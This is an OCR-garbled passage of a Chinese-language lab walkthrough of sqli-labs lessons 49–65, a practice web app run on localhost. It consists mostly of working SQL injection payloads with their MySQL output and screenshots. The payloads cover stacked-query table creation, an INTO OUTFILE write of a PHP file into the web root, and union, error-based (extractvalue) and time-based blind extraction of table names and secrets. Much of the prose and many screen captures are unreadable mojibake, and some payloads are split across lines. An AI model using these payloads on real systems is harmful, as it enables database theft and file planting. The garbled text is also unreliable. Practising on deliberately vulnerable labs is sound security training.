php%ZZ%ZOI|nes%ZOterm|nated%20bv%200x3c3f70687020706870696e666f28293 b3f3e2020--+

! | [ 127.0.0.1/sqllib/Less-49/?sort=1%27into%20outfile%20" c:\\wamp\\www\\sqllib\\test.php"%20lines%20 na : / (
& EE—TF . e .\cmy gEm CI1Es CI#T Clfq O snsesk Dblogs ClEEs [ webss Ol &@se OO @ant O severme 0 af

Welcome Dhakkan
ID | USERNAME | PASSWORD |

X | [3 127.0.0.1/sqllib/test.phy bl 3
EEE (& S=—F. feiAEE leamry - 2R Q@ O #T Cfg O amgased (blogs [0 BEE (O webse (0 =@¥ (O /B O serverze O of C11EF O LinuBHss
mh 1

PHP Version 5.5. 12

Systen Windows NI CAPSHEAF-FC 6.1 build T600 (findows T Business Editien] i586
Build Date  |Apr 3002014 11:13:46
Compiler NSVCLL (Fiswal CH+ 2012)

Less-50

AT UETRATTIF U634 order by stacked injection !

PAT sql EAJERATIX BAF F 2 mysqli_multi_query() BRI, T 2 BTERATHE F 192 mysqli
_query(), XATET mysqli_multi_query()l AHAT 24> sql 1BA], 1 mysqli_query() A BEPAT
—A sql HA), IBATMBLALH AT AFAT 24> sql B AJFATIEN, W21 A2l sta
tcked injection.

X HEBAT LR AR AR B TATR, RAOTXEBAELE T, XEHE T stacked in
jection.

FATEBANIE payload:

http://127.0.0.1/sqli-labs/Less-50/index.php?sort=1;create%20table%20less50%20like%20u
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http://127.0.0.1/sqli-labs/Less-49/?sort=1%27%20and%20(If(ascii(substr((select%20username%20from%20users%20where%20id=1),1,1))=69,0,sleep(5)))--+
http://127.0.0.1/sqli-labs/Less-49/?sort=1%27%20and%20(If(ascii(substr((select%20username%20from%20users%20where%20id=1),1,1))=69,0,sleep(5)))--+
http://127.0.0.1/sqllib/Less-49/?sort=1%27into%20outfile%20%22c:/wamp/www/sqllib/test.php%22%20lines%20terminated%20by%200x3c3f70687020706870696e666f28293b3f3e2020--+
http://127.0.0.1/sqllib/Less-49/?sort=1%27into%20outfile%20%22c:/wamp/www/sqllib/test.php%22%20lines%20terminated%20by%200x3c3f70687020706870696e666f28293b3f3e2020--+
http://127.0.0.1/sqli-labs/Less-50/index.php?sort=1;create%20table%20less50%20like%20users

Mysgl ¥EA---sglilabs---Icamry

sers

Bl —1> less50 )%
mysql> show tables;

e -
| Tables_1in_security |
e emm e s e e -

emails

less42

less43

users

| |
I I
I I “
Il less45 /?ﬁﬁm%
| lesss0@ |
I |
| uagents |
I I

8 rows in set (0.00 sec)

AR L H5IR T stacked injection HIITFE, X B VEM IR T .

Less-51

AFH sql iEH)A $sql="SELECT * FROM users ORDER BY '$id"";
FATH AL FEHE4T stacked injection, FVERE AL Y payload:
http://127.0.0.1/sqli-labs/Less-51/index.php?sort=1%27;create%20table%20less51%20like%20us

ers-—+
B less51
mysql> show tables;

| Tables_in_security |
emails

|
less42 [
less43 |

I

I

I

R Sl
| less51

I

I

|

uagents
users

I
rererers |
I
I

9 rows in set (0.00 sec)
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http://127.0.0.1/sqli-labs/Less-50/index.php?sort=1;create%20table%20less50%20like%20users
http://127.0.0.1/sqli-labs/Less-51/index.php?sort=1%27;create%20table%20less51%20like%20users--+
http://127.0.0.1/sqli-labs/Less-51/index.php?sort=1%27;create%20table%20less51%20like%20users--+

Mysgl ¥E A -—-sglilabs--Icamry

Less-52

F less50 s&—FER, HIEX B A mysql # iR AN STERT G Eo~, {HIEXT T stacked injection /&
—HERIR T
http://127.0.0.1/sqli-labs/Less-52/index.php?sort=1;create%20table%20less52%20like%20users
mysql> show tables;

| emails 1
| less42 ]
| less43 1
| less4s ]
| lesssSe@ 1
| less51 / EZ M less52E
| less52 |
| Lless53

| referers

|

|

uagents
users

11 rows in set (0.00 sec)

Less-53

F less51 J&—FEM, HAEXHEM mysql HRASIERT 6 o, {HEX T stacked injection /&
—FERARI A 77
http://127.0.0.1/sqli-labs/Less-53/index.php?sort=1%27;create%20table%20less53%20like%20us

ers—+
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http://127.0.0.1/sqli-labs/Less-52/index.php?sort=1;create%20table%20less52%20like%20users
http://127.0.0.1/sqli-labs/Less-53/index.php?sort=1%27;create%20table%20less53%20like%20users--+
http://127.0.0.1/sqli-labs/Less-53/index.php?sort=1%27;create%20table%20less53%20like%20users--+

Mysgl ¥E A -—-sglilabs--Icamry

mysql> show tables;

| emalls |
| less42 |
| less43 |
J less45s |
' lessse/ FRInEYless53%
| less51 |
| less53 |
| Tererers
|
|

uagents
users

il@ rows in set (0.00 sec)

£ VUL 43 /page-4 Challenges

Less-54

IR 3B — N FEF A% 2T, K HT I A B AR T BRI IS F o X — ORI AR
E’WUEIE'???&E/E)\ H2 RSk P DA RG ZEAE Sl i g dh A7 2% o o] Re s /b (1)

IR URE o X B R 3 44 RN B A A5 A IS5 ah i ) AT B 4
lij‘,QX%DJETﬁﬁE?%%HLHE& challenges, FlTUAFRAIITRZEHITER A o
http://127.0.0.1/sqli-labs/Less-54/index.php?id=-1%27union%20select%201,2,group concat(tabl
e _name)%20from%20information schema.tables%20where%20table schema=%27challenges%2
7--+
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http://127.0.0.1/sqli-labs/Less-54/index.php?id=-1%27union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27--+
http://127.0.0.1/sqli-labs/Less-54/index.php?id=-1%27union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27--+
http://127.0.0.1/sqli-labs/Less-54/index.php?id=-1%27union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27--+

Mysgl ¥E A -—-sglilabs--Icamry

127.0.0.1/sqli-labs/Less-54/index.php?id=1'union select 1,2,group_ =0 | @ [Q search (%t @ ¢« # @ Cvu~-PFaE~y =
EEF @EE—T fFHAE Elamry- BEE wiEty WiI v Wiqv wWilkest v Wblogs ¥ WwebR2 ¥ WBBE Y WRABFH ¥ wserverR2 ¥ (wctf v WgK ¥
iable v & Cookies ¥ » CSS¥ [JForms ¥ [@images ¥ @ Information¥ [ Miscellaneous ¥ 7 Outline ¥ # Resize ¥ {Tools ¥ (@ View Source ¥ |n/Options ¥ ¢y

SRAFT ¥ Services ¥

Reset the Challenge!

Welcome

You have made : 1 of 10 attempts

Submit Secret Key: |

AR 2R 4N J035VPGANL CHARURIRIIMERAIZ A RZIXAY) , #EF Rt B E1Z R
T 5
http://127.0.0.1/sqli-labs/Less-54/index.php?id=-1%27union%20select%201,2,group concat(colu
mn_name)%20from%20information schema.columns%20where%20table name=%27J035VPGA
NL%27--+

127.0.0.1/sqlHabs/Less-54/index.phptid—1unionselect 1 2,gr0up_cor @l C | @ [Q search *B8 9 % Ao v u>imao

EEE @ EE—T, ranE Elamy- HEE LBy GHIv Gfgv Witk v Gblogs ¥ WwebRe v LFEEY LBHEIT Y WserverR2 ¥ [LctfY [LIRFR Y
sable v X Cookies¥ » €SS¥ [JForms¥ [&images¥ @ Information¥ [ Miscellaneous ¥ # Outline ¥ . Resize ™ K Tools ¥ (B View Source ¥ (1 Options ¥

CRAFT ¥ Services ¥
Reset the ¢
Welcome

You have made : 2 of 10 attempts

Submit Secret Key:

A2 T EARS, AT A R T A, AR RIIE T LE secret_O8GE ¥
. TR EEEE ZI N E

http://127.0.0.1/sqli-labs/Less-54/index.php?id=-1%27union%20select%201,2,group concat(secr
et O8GE)%20from%20challenges.JO35VPGANL--+
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http://127.0.0.1/sqli-labs/Less-54/index.php?id=-1%27union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27J035VPGANL%27--+
http://127.0.0.1/sqli-labs/Less-54/index.php?id=-1%27union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27J035VPGANL%27--+
http://127.0.0.1/sqli-labs/Less-54/index.php?id=-1%27union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27J035VPGANL%27--+
http://127.0.0.1/sqli-labs/Less-54/index.php?id=-1%27union%20select%201,2,group_concat(secret_O8GE)%20from%20challenges.J035VPGANL--+
http://127.0.0.1/sqli-labs/Less-54/index.php?id=-1%27union%20select%201,2,group_concat(secret_O8GE)%20from%20challenges.J035VPGANL--+
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| 127.0.0.1/sqli-labs/Less-54/index.php?id=-1'union select 1,2,group_c ‘"E,D,,, | @ | Search | %a @ F & © @~ a~ B'DE
Bz @FEE—T, et Eleamry- 20 LES Y Wi v Wfqv WEike®Et v Wblogs ¥ LiwebBZ2 v LBE%E v LRBFH Y Wserver®2 v [uctfv WiBFR Y
iblew & Cookies¥ » CS5¥ [JForms¥ [&images ¥ @ Information¥ [ Miscellaneous ¥ # Outline ¥ ”Resize ¥ X Tools ¥ @ View Source ¥ |1 Options ¥

WFT w Services v

Reset the C/

Welcome

You have made : 3 of 10 attempts

Submit Secret Key: [N ET
R B BT A . A BCA BEATEIE, T BATISE R
HSLIPRBEMA A, BATAT AR S ip (AT A REACED Bl B Wi aess, 2RI
S as e AT 4 N A BEAT PR o

Less-55

ﬁ?@ﬁ‘] sqI i%/@y‘j:

$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";

HARAN less5a 52 —FE 1), BrARA TR EIR BB AT ) BIAT, {H 21X B 2RI ECN 14 XK.
7~ payload:

http://127.0.0.1/sqli-labs/Less-55/?id=-1)union  select 1,2,group_concat(table_name) from
information_schema.tables where table_schema='challenges'--+

Welcome

You have made : 8 of 14 attempts

Submit Secret Key: _ submit |

Less-56

5 less54.55 U@ — 3, FATIGHE sql iEH),

103



Mysgl ¥E A -—-sglilabs--Icamry

$sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";

[A 25 7R 41 payload

http://127.0.0.1/sqli-labs/Less-56/index.php?id=-1')union select 1,2,group_concat(table_name)
from information_schema.tables where table_schema='challenges'--+

1 127.00.1sqlsb e /i phprid= 1 uionselect 125r0up o @0 & | @[ searc %E 94 a0 OvuyEDDY
Biz [@EE—T, fa i Ellamy- HEE EiEt v Wi#I v Wfqv [@RaE v Eblogs v Eweb®2 v LHEEE v WRBFH v Wserver®2 v [Wctfv WRE Y

blev & Cookies¥ » C55¥ [JForms¥ [&/images ¥ @ Information¥ [ Miscellaneous ¥ 7 Outline ¥ , Resize ¥ JXTools ¥ [ View Source ¥ |1 Options ¥ o«

&FT° W Services ¥

Reset the Challen

Welcome

You have made : 1 of 14 attempts

Less-57

$|d= llll.Sid.”Il;
// Querry DB to get the correct output
Ssql="SELECT * FROM security.users WHERE id=S$id LIMIT 0,1";

MRS BX] id FE47 7“7 MIALIE, FrLAALIRA TR ) payload #£3E4T “ [ALEE, 7R
%1 payload:

http://127.0.0.1/sqli-labs/Less-57/index.php?id=-1"union select 1,2,group_concat(table_name)
from information_schema.tables where table_schema='challenges'%23

Welcome

You have made : 6 of 14 attempts

Your
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Less-58

AT sql 1EA) 5, FEEA IR BIEE PR b i, FrLAIRA T BABERE A union IREHEN,
XA R EEA
Payload: http://127.0.0.1/sqli-labs/Less-58/?id=-1'union select extractvalue(1,concat(0x7e,(sel
ect group_concat(table_name) from information_schema.tables where table_schema='challe
nges'),0x7e))--+

Reset |

Welcome

You have made : 4 of 5 attempts

XPATH syntax error: '~6FV]J856VCD~'

submit Secret Key: ||| | | N NN
AL T T B BRI A4S, #41E& payload RIATHHATIEN, (AR FREFEEXERA 5 bl

ko

-

Less-59

5 less58 —#%, B4 H — /w1l payload:

http://127.0.0.1/sqli-labs/Less-59/?id=-1 union select extractvalue(1,concat(Ox7e,(select group
_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7
e))--+

HESEL LNE

Welcome

You have made : 2 of 5 attempts

XPATH syntax error: '~TOQXMOENMG~'
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Less-60

5 ER—5, [FFE%E H— w1 payload:

http://127.0.0.1/sqli-labs/Less-60/?id=-1")union select extractvalue(1,concat(0Ox7e,(select grou
p_concat(table_name) from information_schema.tables where table_schema='challenges'),0x
7e))--+

Welcome

You have made : 1 of 5 attempts

XPATH syntax error: '~08CW2I8I1F~'

Less-61

WAL T id A FRIL 2 AT, B UGERIR AR S, TRk R K, W
WE T o AR ERE—FR

payload:

http://127.0.0.1/sqli-labs/Less-61/?id=-1'))union select extractvalue(1,concat(0x7e,(select grou
p_concat(table_name) from information_schema.tables where table_schema='challenges'),0x
7e))--+

Reset th

Welcome

You have made : 1 of 5 attempts

XPATH syntax error: '~O4ZKDLH5E3~'

Less-62

BEAE union ARAEAAC KRR T, AEA TR ZAEERIEN 1, BAbss tH— ARl
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payload:

http://127.0.0.1/sqli-labs/Less-62/?id=1%27)and%20If(ascii(substr((select%20group concat(tabl
e name)%20from%20information schema.tables%20where%20table schema=%27challenges%2
7),1,1))=79,0,sleep(10))--+

2 IERA RIS AR, S8R I I T oK T 10 £, i) W] AR A 24T 220K AR
B BAVBAESE =37, BALHA MRS T .

Less-63

Hlless62 —2, MR FEE R sql iEH) L

Ssql="SELECT * FROM security.users WHERE id='Sid' LIMIT 0,1";

A 443 payload:
http://127.0.0.1/sqli-labs/Less-63/?id=1%27and%20If(ascii(substr((select%20group_concat(table
_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27)
,1,1))=77,0,sleep(10))--+

LA I A AR, SR AR I 18] K 10 70

Less-64

AT sql BN

$sql="SELECT * FROM security.users WHERE id=(($id)) LIMIT 0,1";

7~ payload:

http://127.0.0.1/sqli-labs/Less-64/?id=1))and%20If(ascii(substr((select%20group concat(table_n
ame)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),
1,1))=79,0,sleep(10))--+

4 TR IS AR, 485 R K B[R] K T 10 70

Less-65

Sld = IIII.Sid.IIII;
// Querry DB to get the correct output
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";

pesbxs id AT T () K9P, K9iE payload B RIiZiE . X B4 7R payload:
http://127.0.0.1/sqli-labs/Less-65/?id=1%22)and%20If(ascii(substr((select%20group_concat(tabl
e_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%2
7),1,1))=79,0,sleep(10))--+
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http://127.0.0.1/sqli-labs/Less-62/?id=1%27)and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=79,0,sleep(10))--+
http://127.0.0.1/sqli-labs/Less-62/?id=1%27)and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=79,0,sleep(10))--+
http://127.0.0.1/sqli-labs/Less-62/?id=1%27)and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=79,0,sleep(10))--+
http://127.0.0.1/sqli-labs/Less-64/?id=1))and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=79,0,sleep(10))--+
http://127.0.0.1/sqli-labs/Less-64/?id=1))and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=79,0,sleep(10))--+
http://127.0.0.1/sqli-labs/Less-64/?id=1))and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=79,0,sleep(10))--+

Mysgl ¥E A -—-sglilabs--Icamry

Rt

X FLTRKEE:

R UAERANEI T RS T JUA R, 2R A BARRE IS X — AN 7R 24— e =44 3
fl BN SR o W SRR FRR 58 R — IR GEBE TN, NAZIE RS JR BRI, DR T A
B E H SRS Bk . A ZEE T HEERE L, 5 KEZENTFUE I A 2 fF
RAMAR TR, HSuxFs > 5 C a2 R B 4Em 5 2 07, bl 7, 8 7 AR
NEULAR A script kids, 588 1 5 2 2 WA 2011

YR TAERIE:

RAE TREAMKIS AN, (B RGES R 7T XD LAE, &S B DU
XTI TAFAEANTERE o (H A& KT sql VAN SR B2 S5 TR UL, N AN NNSERRE L4 A2 95%.,
FAAE background HIEA A MR AT A FIEAN LS 1T CRAEFTR, HINAHTTD
ST o MPIEHTFERTT, BMEKKS LmE! O, FrbAUMRME 4, ERAE KK
=B WA, BEE

BEOUTAERAT T — M HBIBE, X —A AR 7 2 fnf e, &R e fmk Nt
— AEEH AR

X AR R HIE

X FEPRARR T OC FR A B AN OC R B E

ERAT LR BF A, FR-ATEFHIE mysql, mssql #1 oracle FRTEEAG LR E, (HZEH
— 2, (HRIX A R I — SRR B R A B HUE B CRRE I — 2R T, B4 mssql
') xp_cmdshell. {H2 AR IH & EHaE AV, ABATSEEL 7 R & — 801,

T ELTE LB nosql (FER RUEHEE) , 140 mongo 25 L. 1R 2 NN NERAT2EHI AR
PEEDRE L, (2 IRAE mongo HITE AN R, HSTRIFRATIOC 5 AU EHE e 1) AR 2 — 3K
1, MR T RIEELTFR nosql IERE, MIEREEF IR

XoF S JE 8T R TAE:

RENMTMEECAS TRZHKFR, A SR SR AW LE . [FRAEE AT E M
ZOAEFEIE TIRA T o WA RNERRE 1000, AT ERAMRE 2 E A5 sei . A L[
R B AT DU I AR 3RAT T — iR 58 X T &= X TAE, NERANGIE—A R 211

AN
= o
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